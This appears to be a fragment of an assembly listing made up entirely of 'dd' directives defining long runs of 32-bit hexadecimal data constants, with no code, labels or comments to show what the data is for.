dd 57B1D8Eh, 0BAB52DAFh, 17239E6Bh, 5BB1BF03h, 2DD610F8h
dd 60E9122Ah, 685E38ABh, 6E6BE541h, 0F70073EFh, 0F8078817h
dd 4C51083h, 0FC353DBBh, 12BCA86Eh, 0F2B71580h, 7B6A5Ah
dd 0E99386EFh, 2597A0CDh, 0ED51830Fh, 8E169440h, 0F99B0909h
dd 4D02E383h, 90021AC5h, 0BB8E4056h, 0CC3F1E5Fh, 0BCD6C3Ah
dd 7562D65h, 2F1A7652h, 0DF511509h, 0F4C3DC25h, 9498CF00h
dd 6CD88F55h, 13784CD5h, 0AE106517h, 2495F8DBh, 52C1EEC0h
dd 0D729E8DAh, 0E0808960h, 0FE8D1635h, 0B8B9E483h, 376FED85h
dd 32D4F065h, 960004BBh, 9AB1FC0Ch, 123472FEh, 0C16A26F8h
dd 281A15A0h, 0D42DB31Ah, 0DEC28ABh, 70DE8B88h, 0D54CB5B0h
dd 1349BD10h, 70E6F50Fh, 0BAFA9FEh, 0B40B71E4h, 0C4A700FCh
dd 9F1700EBh, 454BAE74h, 0D65CB885h, 6D511EB4h, 13E45F52h
dd 0B4C68AD0h, 8A0BAC00h, 0A0DB22D6h, 4BD42FD5h, 0F595F89h
dd 0BAD98B05h, 0DCC16C4Ch, 0B21D5A85h, 24FE5A5Bh, 4805ACC9h
dd 0A791054h, 81C82B00h, 0FD36A6EFh, 0D18B091Ah, 0E9E7E844h
dd 0B82D9183h, 857243CBh, 5F8B4C44h, 1E456012h, 9899D6ACh
dd 0D1468ADFh, 4A380C25h, 1C951ADh, 2224D4D9h, 0E90A152Ch
dd 0DA12384Bh, 60240AE3h, 0DD09188Bh, 9C1EBA66h, 0AA7D61D6h
dd 4595CC05h, 93112DBh, 0DB562495h, 34E38158h, 95855B2h
dd 0BA416067h, 7F0DE929h
dd 0F7A9BBD4h, 18652B84h, 270EF6B4h, 6A6FFB8Bh, 7D54C940h
dd 0FB31005Eh, 0ADB47C7Ah, 320BC781h, 5640BC9Dh, 1946D64Ah
dd 3A8E090Eh, 0AE770E24h, 3C01B9C8h, 6E003BFDh, 0F5E5ED98h
dd 700BC33h, 0B9E1A83Ch, 0BF891480h, 5F9E955Ch, 12106489h
dd 0A53E5CA1h, 0CAF91D61h, 0BBE0BFEDh, 982CABEh, 2D8D0922h
dd 0C2B81C41h, 61D34F57h, 2ECA961Ah, 9D233320h, 1E2B49D5h
dd 0C1B9BB09h, 0D3691B73h, 0F84C5092h, 0C2050E01h, 60315C2Ah
dd 0EBB57020h, 257CAC05h, 709FD361h, 7700DD40h, 3D8671ABh
dd 0BB880D6Fh, 0F7DBF025h, 0AB99B61Dh, 50EEB280h, 9EF98B21h
dd 85B36233h, 74E9F856h, 60B5D46Ch, 2834D83Eh, 2EC37F8Eh
dd 4EBF1BA5h, 3D56174Bh, 0D44DB776h, 720A0C40h, 856C1E68h
dd 501B89F9h, 0F46A7C74h, 151FED08h, 0C5BCFD5Fh, 57E9501h
dd 0CEC658F2h, 0B243123Fh, 37698D32h, 0AC04BD6Bh, 0A58A91E9h
dd 3A0600C1h, 245B18A7h, 2040EF06h, 0E2281957h, 3CA400E3h
dd 0D02ADD7h, 0BF1D4F81h, 0CF415461h, 656C9358h, 2EE122Bh
dd 11598DB4h, 0EC0036D3h, 952C20DEh, 9D89091Fh, 22C63041h
dd 93E13095h, 0D98A8004h, 4690BF04h, 0C8AC657Bh, 29029AA3h
dd 0B2A4FEBBh, 51A55624h, 29258952h, 8FA4578Dh, 0E008B660h
dd 93A23863h, 0E7810001h, 39158DC8h, 5BC98B95h, 676E70B0h
dd 0E3902800h, 0C9773B92h, 11A7BCB4h, 0DA25B11h, 7DC1D300h
dd 6FD55D29h, 6122941Ch, 0D8655F5Ch, 9563255Dh, 2CFC07C2h
dd 2F6878DCh, 0DD0494B3h, 254B5411h, 7D05C861h, 74F39501h
dd 194E3D0h, 299A77F6h, 72EB19Dh, 1381BD21h, 792B2D2Eh
dd 1625A898h, 0AC195FC1h, 301AAD9h, 0B7EED0BBh, 5B0E30Fh
dd 0A4A2233h, 20EE0F84h, 0EF97ED91h, 5335B70Dh, 7F33DA29h
dd 8002DE4Ah, 0FD9647F7h, 190D242Ah, 51109h, 0E5EE9EBBh
dd 1226686Ch, 0BB418885h, 0FE8A8531h, 0D9A8032Ah, 0EDFC9786h
dd 0ED7BB92Dh, 5FCD5872h, 6ABE6575h, 67E6244Dh, 725CFD05h
dd 16DE09E0h, 8F8589D8h, 0C116C894h, 8039FFAFh, 8C72DF52h
dd 9D01CAE9h, 0EAD05473h, 85A60005h, 746E6C5Bh, 0BB047D6Fh
dd 1BBFB818h, 4D348B8h, 410ED4Dh, 8AAA5F52h, 0CA94A0FEh
dd 0E2000B0h, 0A393C07Dh, 1997F5CEh, 372EF951h, 89FAD225h
dd 4ADE65F4h, 0D268042Fh, 0ACE8BD48h, 0F94A8C14h, 76E0B1C9h
dd 47F61C24h, 0ABA8C16Fh, 6A302F40h, 71FB29C4h, 2A280DD7h
dd 9A5AF7A6h, 0E4A2828Bh, 250BFFB4h, 0FA2FD870h, 0E0B06DC0h
dd 0F6B0D04Eh, 0EC6B3B0Fh, 0EB804268h, 0E64E7589h, 0BB3569h
dd 211D669Eh, 20524B50h, 0E67330C8h, 0FCA53201h, 83D0918h
dd 0D863C96Bh, 82076083h, 0D39824D0h, 178EFC11h, 34E4C23Bh
dd 0FFAC2163h, 4EA4755h, 210265E8h, 14C09FAh, 54EBFF56h
dd 36BF4068h, 7BEDC7C2h, 6E2F8189h, 342200D5h, 0EF0C7728h
dd 0BD010960h, 6BFA2C15h, 3E040920h, 7D968B61h, 0D99AAD17h
dd 537AE118h, 0E038E6AEh, 0CD88D20h, 23B6B75Ah, 6D950182h
dd 17B5ADFEh, 0A48C3400h, 145D0F17h, 0F174CCEBh, 0AA24A112h
dd 8421B538h, 0D778376Bh, 9DC4946Dh, 96EE8EB8h, 87B08BF6h
dd 8A155BBBh, 0BCFEC086h, 0B3880493h, 0B8666597h, 0D6B0A6ABh
dd 7AC16F2Ch, 0BA12D900h, 0B5AA0CE4h, 8C0B4E1Ah, 3905088h
dd 56114127h, 0B1F079DFh, 14D2873h, 4E8752Ah, 8C2B157Fh
dd 5F9E2E8Bh, 79E2268Bh, 11DF2F28h, 0E87B6370h, 0F0F9979Dh
dd 0B0FE8D8Bh, 0D6BBFEA5h, 5B071A46h, 0C1C7B721h, 6952D862h
dd 85E14F17h, 0BB600496h, 8C8AE291h, 4E76BB05h, 96FB260Ch
dd 261ADEDEh, 5C7A762Eh, 67BBC060h, 44BAF37h, 2895AC8Dh
dd 9E4A89DBh, 0F2FAC399h, 50E5E8A7h, 0A6E72780h, 0CA569B62h
dd 0C1C6CDA5h, 6A507282h, 9321C1DDh, 0BBC19C6Ah, 4A8E609h
dd 0A0BC704Dh, 820CED20h, 792FAE56h, 5D7C8395h, 57D8EFCAh
dd 400532A3h, 9F3A352Ch, 85BEC501h, 0DD6A6122h, 73E62B95h
dd 29F194A3h, 0C0492A85h, 0B5DA72F8h, 0E34120CFh, 0E9FB60D8h
dd 0E88CAFFBh, 6A5F2611h, 0E0024DB7h, 56C488AEh, 14A3535Eh
dd 0AB605B12h, 0D623410Bh, 0B4E3C0B2h, 18095F7Ah, 5B61A312h
dd 181C59D1h, 0E2C50E4Ch, 0D682085Eh, 67F952CBh, 0AFA6F9A5h
dd 0AEBC46FAh, 4199FC40h, 33C3053Ah, 246C7C12h, 51C10C48h
dd 1509BF49h, 71079661h, 3B44A5E4h, 2E3CCD00h, 0EDFDEB2Ch
dd 0CC80B778h, 0B5723902h, 544BF9E4h, 0AA35F88Ah, 0CA6BB3Ch
dd 3E55BDE0h, 1A7BED2Fh, 49BC0292h, 84F5092Dh, 19EC96BEh
dd 9A58A680h, 4C0FECCFh, 73094F5h, 0EA02174h, 263F1697h
dd 29398110h, 7B8C807Bh, 5F668441h, 213B5407h, 0D0670217h
dd 80E8506Bh, 91282Fh, 3D4961BAh, 0FC1024C8h, 0BF075500h
dd 0BBF471E9h, 0F5855AB6h, 0CA8C2FEBh, 25D105BFh, 0B6967975h
dd 8927E047h, 0C7CC042Ch, 0DC45E380h, 9897F9FFh, 122BBB3Dh
dd 6E3DE15Bh, 391B2340h, 95E7AA00h, 677B7A98h, 0D3FE8A26h
dd 798B8709h, 9608912h, 0D7D192DFh, 65A57DD9h, 1A781AE5h
dd 12DE9E54h, 4F86976h, 0AA29A57Eh, 104D2CCBh, 0D15BE7ACh
dd 75D221E1h, 1FBE846Eh, 0C76303D4h, 0B3ABA9E0h, 0F1ADA82Eh
dd 800EC5A5h, 4871F381h, 0E9253925h, 312356ECh, 6A03598Ah
dd 9A2AFDCDh, 0C62D84EDh, 276D9980h, 159413D8h, 0F96504E6h
dd 0D780020Bh, 783A57F0h, 4850DCD3h, 76B7C93h, 707F0795h
dd 0F9537BA4h, 57CB8211h, 0AF5BFB24h, 64BBCC90h, 1A4A27F6h
dd 9DF4F4DEh, 78FC7C09h, 0D87A6A17h, 6EECD100h, 0FE4DBEF4h
dd 1C664317h, 2252A505h, 0F5A09602h, 1BF6907h, 525222Ah
dd 1E5C1CE2h, 4B306013h, 38D06F51h, 5F8008ABh, 0C5C8E446h
dd 0A016396h, 0A7A45CCFh, 70705ED6h, 505F2F61h, 0AC007764h
dd 0C4B4955Bh, 0F851B3C2h, 0BC904F05h, 0DFEED8FBh, 0D0B49B6Ah
dd 0FF17F853h, 9BFF96C8h, 25E4D055h, 862E608h, 9199D0Bh
dd 10F0DC52h, 0D1FF1614h, 90801C9Bh, 0CBCCF0F5h, 0B4F4195h
dd 38FECE6Ah, 0E4A74F6Ch, 9E40D6A2h, 0C69525E1h, 54DB553h
dd 23F0E840h, 1CD20BDh, 0D9185595h, 2B41C19Dh, 4E11A31h
dd 88B38114h, 618A2B80h, 2C65804Fh, 3C4AE91Dh, 0AA8938E3h
dd 377F5209h, 5A08310h, 0DBE02EA4h, 0B7258832h, 0AD39EE34h
dd 0AB16113h, 0DF28865h, 50900012h, 286D7DBBh, 7B906C90h
dd 0E517AD25h, 10442520h, 92DA1C07h, 84F0BEACh, 16E98Ah
dd 6BDF25C9h, 26801BB0h, 0D3F964D2h, 38E25F25h, 2D46BFD5h
dd 0A83B13DFh, 956DEED9h, 0ED7F72E2h, 0D81B642Eh, 2B01FED3h
dd 40DE0CB8h, 0E1730D18h, 0BF4DB900h, 2A726C9Fh, 6A2D4FE6h
dd 7FC37FFh, 35EDB0CDh, 6405BEDCh, 685DA81h, 16617CF5h
dd 802D10FDh, 42ECFB25h, 0C13C5B45h, 1C94F180h, 0B01A653h
dd 572551D4h, 0FC7A90CEh, 0E1E3967Bh, 0C4565F27h, 65C3E384h
dd 20EEA812h, 71E42503h, 9D047CF3h, 0CCAA24A9h, 87C2189Ch
dd 5EE8F780h, 0FFB30538h, 0B1B12BAh, 5E6BC13Dh, 392A81ACh
dd 3D252F23h, 12B2630h, 6F5E00B3h, 4EC3A787h, 26031435h
dd 83157B80h, 0D1BDFC1Fh, 2C51BD82h, 41AE5F04h, 0A0CF8160h
dd 32A16ABCh, 7F176E99h, 92130D1h, 60E92140h, 0EF8149B9h
dd 2A2E63C8h, 50025E44h, 6C47554Ch, 0EDCE800Dh, 60929720h
dd 0B300E359h, 0C4AED767h, 828801ACh, 66169C68h, 3DA28A49h
dd 0C52E1B0Fh, 9B7C453Ch
dd 5927D480h, 0A34EB6F1h, 7A5BB309h, 0F8124484h, 0B787C495h
dd 576972F6h, 3955EE89h, 21F131CAh, 253D7ACEh, 7DE2B8DAh
dd 7A0BCC5Fh, 0E92F40BDh, 51344h, 663BC382h, 44748D84h
dd 7216D00Eh, 538E009Ch, 975864B8h, 0B50195B0h, 897F48BDh
dd 92A3A495h, 0BAEE2590h, 8F2090ECh, 86599575h, 5D2AC80h
dd 3EA09Eh, 17937472h, 0E9B52934h, 0CE59E3CBh, 23012026h
dd 0DB806109h, 0F4BDD574h, 0E540C104h, 31619285h, 0B72A3195h
dd 9A174EFBh, 330C61B3h, 0B92B11BDh, 0FB10C625h, 0A985D0C1h
dd 0CE60C628h, 0DF0FA534h, 95DA1B8h, 300CFB8h, 7EAB8EA8h
dd 4842E643h, 747C94BFh, 10527FE0h, 321CED9Dh, 5E4578FCh
dd 0E362E9B1h, 0EE20E593h, 0E6BA4D2Eh, 27001BFCh, 124FBEE6h
dd 0F5CB780h, 0FA7BFCCh, 0BF796BA9h, 210D3E8h, 0EAFCDE8Bh
dd 2DEFFCDCh, 76F1FA22h, 11F4F780h, 0C8FDBCh, 30FE6864h
dd 3677B202h, 52485B7h, 87D064AEh, 0F71CA49Bh, 43C84EF8h
dd 1EE100C7h, 78D38F56h, 0AD0EEF0Dh, 9DC014Ah, 84A079CEh
dd 0D29DB531h, 0FA7156FCh, 0B1E3C00h, 7A63E6Ch, 0C003E7C8h
dd 142160D9h, 472D31F2h, 73A971E0h, 0FCDC410h, 2DB50904h
dd 98CEAA28h, 23D992Dh, 6B771D80h, 38146348h, 0DC5BB8A4h
dd 8600BD38h, 2BB5C5F1h, 3305B69h, 5F254979h, 68E9539Dh
dd 6E9D6BE5h, 0AB6A6Bh, 0AFC66B85h, 0BB18197h, 21DD9529h
dd 0B5696C5Ch, 3D2B80DFh, 7AB626E2h, 302E974h, 19BD01B1h
dd 7B677509h, 3D275B1Fh, 7B0807B2h, 64C7E0DDh, 214BC926h
dd 453092CAh, 0D99D0955h, 38E31B4Ah, 102FC84h, 1A65B589h
dd 54E78110h, 7EE4A412h, 9B2A6FF1h, 5B6A8CCAh, 2E2C4145h
dd 0D2BB4F07h, 5E5F54D2h, 20DB9C2Bh, 0A48479B5h, 0BD29C0BCh
dd 0BA972609h, 7BD39811h, 0BFDA5E4Ch, 522ED32Dh, 0C97AEE05h
dd 0AB444A25h, 19BFBB04h, 0EB3418D3h, 0BF6A528Ch, 0DA406D56h
dd 33C453h, 3651675Dh, 2807B8BCh, 23EB000h, 0A7E75C40h
dd 6A6806E3h, 68FC0EFFh, 31EEB72Fh, 689C81B1h, 6E10DD95h
dd 4AB5115Ch, 1CC8CCDAh, 2A9497C0h, 8EAB06BEh, 78EB7584h
dd 0CD8DDE4Bh, 0C4B2B87Eh, 3AA2FBBFh, 2B89CD4Ah, 55A78116h
dd 4A0AE75Fh, 7BFB68C4h, 26A304C8h, 0B6C55195h, 50856FBh
dd 0AB41A56Bh, 37E3A370h, 0D21283A8h, 24291739h, 22A02482h
dd 0E6820860h, 485C1105h, 246ECB4Bh, 11205009h, 0A5007E0Fh
dd 33227E28h, 0F11163h, 9D441FFEh, 0F88B8E7Ah, 965B5F14h
dd 0C08DCE86h, 0F4352E37h, 8C604BDFh, 0C4C95729h, 687F80F7h
dd 648EE673h, 0ACF97855h, 0E58C0BFFh, 253F5091h, 0FF6E30ADh
dd 213B79Dh, 0FD8A90C9h, 0D004EE2h, 0F7935437h, 0AA59DE1Fh
dd 39BC6D40h, 32185E4h, 532D40B9h, 9F16FDC1h, 16E6905Bh
dd 0F50B0DE0h, 0B309797Dh, 505E7B73h, 6F0248A4h, 0A81EA9E4h
dd 1041004Fh, 16CBD13h, 0EAB52585h, 7098FB47h, 567D055Ah
dd 842ADA16h, 47157BAAh, 67710084h, 45D2EC75h, 0A6FE2566h
dd 9D0423E4h, 0B5632F1h, 6346CAC0h, 0BB66047Ah, 0AC5B8F29h
dd 8411A349h, 205A521h, 0A6585CE9h, 52A916F3h, 0BA3DB34Dh
dd 0CB0D546h, 9B12C994h, 0F6AA6AB9h, 44AEE441h, 0D8880FEBh
dd 89BDFE80h, 454759A8h, 4F7BBE0Bh, 952FD26h, 3A7908B9h
dd 5851DCC6h, 0C5C898Bh, 0A8F2E24Fh, 47940272h, 45414AEDh
dd 23492E60h, 0B3583997h, 72B5D5EAh, 0E0961791h, 0FC4B8067h
dd 5C0F5E9Dh, 35780C0h, 0E2002AF0h, 73D7819Dh, 4E6EF7A6h
dd 22C82096h, 9C00EBCDh, 3735834Bh, 2F0AFF2Ah, 0DFF11243h
dd 90890F09h, 5B2B53D1h, 7017EFBDh, 7A1E4DF5h, 8A2DC180h
dd 0FC0BBB38h, 5666A314h, 1A46D693h, 3546DE00h, 16506D9Ch
dd 810097BBh, 0C412BCCBh, 1CB29756h, 7D47E27Fh, 98951A6Eh
dd 2895097Ah, 251212F5h, 4A7310E9h, 1DCBCAEh, 8A3637E1h
dd 38509F13h, 0EB2283F2h, 0A03EBFDBh, 3DCF511Eh, 0E5195BEh
dd 6BAA5F93h, 1B234Eh, 234222E7h, 4524BBF9h, 7D08B3B5h
dd 0BF68A51Ch, 97861725h, 2A009DE4h, 7AA7485Fh, 9882440h
dd 73B6C16Ah, 81023EE6h, 0D0B18EDFh, 6EC35C3Fh, 8A04BF6Fh
dd 96A4B873h, 7106FBAh, 0B3F489DFh, 7123FA51h, 0BD5DBDC8h
dd 0B72F2174h, 0C2A39F88h, 0D8BDA7D1h, 16C4764Dh, 58967860h
dd 516589BCh, 0B5C6C3D1h, 72608671h, 0BFE549D9h, 0DDC8F83Ch
dd 89A4F605h, 0AA412416h, 9A7A0B9Dh, 41388039h, 73804BABh
dd 831497F6h, 0F42CA5E3h, 15BEDEE8h, 9E8D0150h, 2B60898Bh
dd 5D909277h, 9268984h, 4BAFD061h, 1355F851h, 0A4A0DF8Bh
dd 0C7BF0560h, 0B26C5563h, 548B00E6h, 6ECAB287h, 0ED50072Ah
dd 10BB776Dh, 792BA40Eh, 0DB545969h, 465770EFh, 4C432C0Ah
dd 0FCC4BF62h, 0B69974AEh, 5CF7A08Dh, 38A2010Ch, 9271DF4Bh
dd 0C8A32F31h, 10DABF02h, 35DD0CBEh, 8115914Ch, 5CB7A2ADh
dd 517D312Eh, 2E5FD9B3h, 24DA7329h, 0C780AC56h, 551B5F57h
dd 44DDBF3Ah, 3D9D1230h, 7F41E231h, 1C8BDE4Bh, 8C830F17h
dd 2C404916h, 0F3EA25E9h, 1FD522C8h, 6070AD8Ch, 0A002DEFEh
dd 44E5F205h, 651F860Fh, 8B95BD2h, 79798A89h, 0E9BB670Eh
dd 4A897530h, 48277354h, 831A10F2h, 9078B7E8h, 5DB795h
dd 0B7DBA78Fh, 0BB0551D1h, 4D72B420h, 813E89B8h, 982739F9h
dd 0DA541069h, 0B2D78C0Ch, 8042FDAh, 28A4B960h, 781995A1h
dd 6D0589B6h, 4CFC573h, 131269E0h, 90CD0EAFh, 0B2D58189h
dd 8BC38823h, 0F450C744h, 0FC6F8A41h, 0DA18D899h, 6D90E261h
dd 8512CBF9h, 9501600Ah, 0FCDA56BAh, 16FA8014h, 28C1A4h
dd 0D00D6B7Ah, 0CBFB1039h, 168C8148h, 46AD612Fh, 0A8DDF9D6h
dd 0E2D20103h, 23D5F975h, 40D06BFAh, 953055BDh, 35A55EC5h
dd 0CFF425ADh, 795AD646h, 1D1A9781h, 2F50C0D3h, 6D551282h
dd 3A2AFh, 0D57D95BAh, 0BD588Fh, 0A58BA6D3h, 0A770987Bh
dd 4C3ED20Bh, 4B2C7051h, 22338A5Bh, 0B48BEC73h, 2587442Eh
dd 0B5D7981h, 0E6A6A02h, 4502EA6Ch, 506B4F19h, 24897E57h
dd 3404ABDAh, 618DEF04h, 0EA6A2Ah, 975F9F68h, 555DA71h
dd 51952975h, 0AE2CBB09h, 0E83F4AD3h, 759FC94Fh, 74DAFA13h
dd 0E4713A5Ch, 0A66BAB21h, 0F01CF077h, 0E8A8128Dh, 0A836E2D5h
dd 0C42802DBh, 17358D29h, 0F5BF925Fh, 6900D759h, 0FD544916h
dd 8AB4A490h, 40DE5CB1h, 0EBA5CC5h, 6DF3F700h, 3C0A1E2Dh
dd 0FB9E65Dh, 10CD1DBh, 0B7555BE9h, 941C1178h, 5A3F0024h
dd 0BD20D5A4h, 5D3297ABh, 0FE88F655h, 6A629095h, 456D9DFFh
dd 0A3A850C5h, 65170B72h, 0AC027954h, 7E551A31h, 69C06049h
dd 4F09F252h, 737B9926h, 27E31927h, 0C3D2089h, 1084B081h
dd 1221C1B5h, 218510B0h, 23022845h, 5C1AA99Dh, 0A8BD640Ah
dd 1319849Eh, 890DB012h, 2D4A81B0h, 1E9663ADh, 3141B89Ah
dd 0BB602E8Ch, 97316FBFh, 71741509h, 0B3F44025h, 0C82B2C1Fh
dd 0E00A091Ah, 0BD12EF58h, 65AB01E9h, 15EBC81Ah, 7E5739h
dd 0A54B4EE1h, 5852F03Bh, 493DFF93h, 0E2444C70h, 0FA9FF522h
dd 0D8BF37AEh, 0AEF9040Ch, 32E64F76h, 3F752A61h, 9DEF8120h
dd 3B9C2554h, 0D9B7CA66h, 0C1B342FBh, 0BFC0A456h, 51CE992Bh
dd 4C04C740h, 678043B8h, 5D655C1Eh, 24ADF90Ah, 0DF128CE7h
dd 5509AFB6h, 70F40786h, 549A00DEh, 96CC4D74h, 0B33558E4h
dd 0DEA64A7Dh, 38E396E0h
dd 60B6225Ah, 0F93019B2h, 0C5A209D3h, 0B98F1F8h, 0DC394205h
dd 0F22809Bh, 0B73336BEh, 0E0C81C19h, 9100BAA0h, 0E58A60DAh
dd 0F900BE66h, 535B6114h, 0A801B95Fh, 4ADB80E6h, 0BCB3C50Dh
dd 0EE262060h, 71852431h, 0C02B8983h, 529D66C4h, 42EE0072h
dd 3C73C677h, 0B0975714h, 4E2B5BB4h, 21AA2D2h, 0BD48D5FCh
dd 2E3657C3h, 5076FBB5h, 9A250FDEh, 0C1324D6Ch, 6FEAD87Dh
dd 254BE0E3h, 0B54504C2h, 9DDAA1Bh, 4DBED22Eh, 0CD563D56h
dd 6BE2EF2Eh, 0F309B56Eh, 6A981260h, 9002D43Ch, 9CC110FFh
dd 51615639h, 0FC28A764h, 8C25DE00h, 225C64A5h, 950009E8h
dd 6115A1A7h, 4F24BA52h, 7F24B57Ah, 15C8C5DAh, 0DEE73AC2h
dd 3100Ch, 0FABFE1FFh, 9536572Ch, 9C382C94h, 6EAB5E04h
dd 23D00DF9h, 282A600Fh, 44B8A28h, 0DE84FBDh, 2DD6CC39h
dd 0CDD7C0F1h, 499C951Ch, 0C969206Eh, 0C6AC128Eh, 0AD5D0276h
dd 9A42E3C0h, 694C4075h, 99BE860Bh, 0D3344225h, 0CD36702Ah
dd 9AB23704h, 51AD7F31h, 69016F10h, 0D3585D72h, 449915BFh
dd 4A4EADBCh, 0C08E9BAEh, 0E4D5F0D4h, 999CC491h, 8036BD29h
dd 0CC9BF27h, 58470019h, 73082C05h, 0F217633Eh, 0CF75056h
dd 32B8AEB4h, 4CB88896h, 0D0EB6104h, 78C0D357h, 97A594Eh
dd 1562402h, 0AB041784h, 0D1FC8F22h, 82DA4A3h, 680109E5h
dd 77E202E9h, 0FD6F540h, 0BFA0A488h, 0A507B5E4h, 0AD206501h
dd 0A83A8430h, 0A926055Fh, 0EE5B68E1h, 1716E4E0h, 0EE77FD01h
dd 0FA80399Bh, 1A5CA552h, 9E2E1FB8h, 17043575h, 52A9F9BDh
dd 168C1CACh, 64CB93A8h, 0C1BEA867h, 8F0F88B3h, 61C4283Ch
dd 20C4428h, 25107ABAh, 0E4AEC316h, 568DCBFFh, 922EB09Fh
dd 19E60B58h, 302D6C9h, 15D55BDEh, 845C45D9h, 5B1BADC3h
dd 9D4F036Fh, 15342B23h, 0B9D7B2DBh, 9F8928C3h, 970AFA4Dh
dd 8DE0C8h, 0F8CE8F1Bh, 12306EB0h, 0AB10D595h, 0D3002499h
dd 0E105B73Fh, 39099EECh, 9492110Bh, 6042E15Bh, 14405D3Ah
dd 0A8BB3B96h, 503B1B3Eh, 0FE6A7207h, 0CB5EC93Eh, 230805DCh
dd 0C15CC73Fh, 2B108D74h, 621031AAh, 2AF9C05Dh, 16702117h
dd 0FEBA12AAh, 2026E429h, 7EAF1B7h, 0BF3FC48Ah, 2E0C6C09h
dd 0AC145728h, 4B46F897h, 0A9C0C0D8h, 7E1A695h, 0F9D351D7h
dd 0F2639E5Fh, 0B003B253h, 98C2FDB5h, 1C4CC4h, 0EA1FE4ABh
dd 7D80185Dh, 8C0F5217h, 4522CF65h, 3CC658h, 5E6C2BA2h
dd 858DE892h, 0AFB81F95h, 0BDA4965Fh, 22A55584h, 9571200Dh
dd 0F3004C42h, 75735510h, 4FE1F080h, 0DA6BC2F1h, 3109DC64h
dd 7329C995h, 62BF8096h, 6120E4FCh, 0C7CDB325h, 17EDA554h
dd 0E4B64840h, 0AF840478h, 0AC7797A5h, 5F3EA353h, 80CC9B33h
dd 345F8673h, 789A677h, 0D52C608Dh, 0B4E2EFB8h, 0E07754FFh
dd 0C022E92Eh, 5EBB5225h, 1B2553AAh, 5C6DC75Bh, 2F59849Fh
dd 0F18E0513h, 98CCE21h, 0BD045E85h, 3B50AFF4h, 6686B431h
dd 382E30FDh, 44E2B30h, 0D6A011A7h, 0B1EA3E8Dh, 37B71106h
dd 25E22BBCh, 55C520B9h, 50A6D3ADh, 8304E288h, 9463C8C2h
dd 3F7BDDFFh, 1E00376Ah, 23B21610h, 0C6178B29h, 9E3058CFh
dd 725C8C4h, 0E08C30A8h, 7BAC6104h, 748FC4A1h, 57860B97h
dd 6489683Dh, 9FE5C453h, 5B17B4E5h, 342BA3F1h, 0F3678C95h
dd 0FD8CFB09h, 918F8198h, 0F3407DBBh, 0B45F44C8h, 5DB309A9h
dd 9B569B87h, 0FB4B6456h, 8E8B70B8h, 7839A427h, 3E14976Ah
dd 5FB0604Eh, 3A0F41D5h, 4E8D4CF4h, 8BE7875Dh, 0A5BCB57Fh
dd 470194ECh, 5E569F69h, 0DCD3BAD4h, 1961A2C1h, 5AC2B72Ah
dd 0B1462720h, 911D09BCh, 78720BD5h, 0F43C9Ch, 2BFAFBB1h
dd 0EF819FE4h, 3C191E1Ch, 1293C6E5h, 41C1BD01h, 659D234Eh
dd 0BD8B7A24h, 4FF26A4Fh, 37E335A0h, 920A2086h, 635CB823h
dd 0E304DA96h, 65B811C9h, 108F0F83h, 88BC454Ah, 0FCA00E8Eh
dd 6207D286h, 0AB84909h, 0EA215CB6h, 7A00D6AAh, 5380C92h
dd 353FCECCh, 0AD94F218h, 84C54A29h, 10F7BEFh, 0D7FA0F3Eh
dd 428E4DCBh, 294CB531h, 36E3855Fh, 0EDA75B38h, 6F2ED1B0h
dd 0B866D702h, 620B4C81h, 7D67A9D8h, 18914735h, 0D4843F83h
dd 8D8971D0h, 722C112Dh, 9D0F7833h, 0F3EE4971h, 1596BAE4h
dd 7739BD23h, 0E28C19BCh, 382B007Eh, 9509175Ah, 519D041Dh
dd 0FF536BCFh, 6B00650h, 0D980D4ACh, 0C520EEE6h, 9D310913h
dd 1CD504E1h, 1B2DFFD2h, 90BC7ECh, 0F22E8D9Dh, 28A22E1h
dd 874895A2h, 0AC56C780h, 97215F9Fh, 0A73A2D79h, 73F52D87h
dd 181459D7h, 0DD8A2515h, 660855C6h, 5942A2BFh, 0B5891051h
dd 92054ECDh, 0B5F0E5D4h, 592B5395h, 182181Bh, 0E6EFE05Dh
dd 28199376h, 0A212807Ch, 0E4A5DD8Eh, 0A212D1C6h, 29015389h
dd 2A20B19Dh, 58A1CFh, 12236D10h, 7FE18FE9h, 0A7B8503Dh
dd 0D48B6F2Dh, 8F8907C3h, 0B555C921h, 80199108h, 94272987h
dd 901625BAh, 1FA6847Eh, 0D7E55760h, 4BEC075Ch, 76809033h
dd 0EBEA6C2Dh, 0F3957975h, 0D0157902h, 374E6C72h, 3C180720h
dd 89300ECBh, 3DE090D7h, 80547641h, 0FEEC5961h, 9B2B0813h
dd 6091C0A5h, 9D850FC0h, 316A9DD1h, 71223109h, 384025B5h
dd 12F7B8Ch, 57BB6A8Dh, 5E5713E0h, 0F440BFB6h, 62C9EDh
dd 0E0C1AC2Bh, 0D7BE6661h, 45F5085Fh, 5722B4Ch, 50C9BBCDh
dd 1412BD32h, 93E2103Dh, 306C3DB1h, 0A8CCF25Fh, 7E624CB1h
dd 89083209h, 86C97856h, 4A69264Bh, 4A8DF3D1h, 722225CAh
dd 1A934195h, 46029398h, 32992D15h, 0DD342193h, 0EC80FDACh
dd 73609ADBh, 0B8E31600h, 0EE097B14h, 273AFA9Dh, 7001B6C0h
dd 0F65B6288h, 0F4497956h, 9900DCA3h, 7940855Dh, 4E8A28B9h
dd 0C4F0B9D9h, 29011CB1h, 0F6091985h, 0E9F9B700h, 0A067B552h
dd 73140809h, 46F5D224h, 0C8E84FB3h, 13003DD1h, 0C5823FF8h
dd 124C5818h, 0A95D35E1h, 6B8B8857h, 0DCD3F4h, 3B05B1A1h
dd 0B4833C90h, 540B5A27h, 69EEC89Ch, 0D0698D5h, 635A0F1Ch
dd 5380F8AEh, 20660FDAh, 0BE682400h, 8E3E84D9h, 9D82F6E1h
dd 28F92719h, 73885EC5h, 6CBF0E64h, 0D6A07E92h, 97541B94h
dd 298F0C00h, 3C2A227Fh, 1644985Fh, 0ADDD63BBh, 0FFFBC9D5h
dd 419DD6B8h, 0CA991042h, 6ABC3409h, 0B8E92DFBh, 8AF900A0h
dd 0E0AEBB4Ch, 0D0BF78D6h, 1205201Ch, 781ACA82h, 2E758E61h
dd 0DFB0F3F7h, 3D0559ABh, 0A469AAD8h, 0BB5F45A2h, 918A7620h
dd 5C30975Fh, 51820172h, 46F303E1h, 0FC88BA30h, 0F572FEA7h
dd 3E133B02h, 76B0BE83h, 89AC8D5h, 0E6092E51h, 0CD980270h
dd 0A77F0911h, 5DF4EFD1h, 2A2C3922h, 891C4B51h, 9F207F6Fh
dd 0EA0DC21h, 2E6C1BCCh, 0A0CA87C7h, 93693310h, 1F3BBA07h
dd 445AF9FBh, 9139942h, 611F788Ah, 0E0E7BECEh, 0DE015C09h
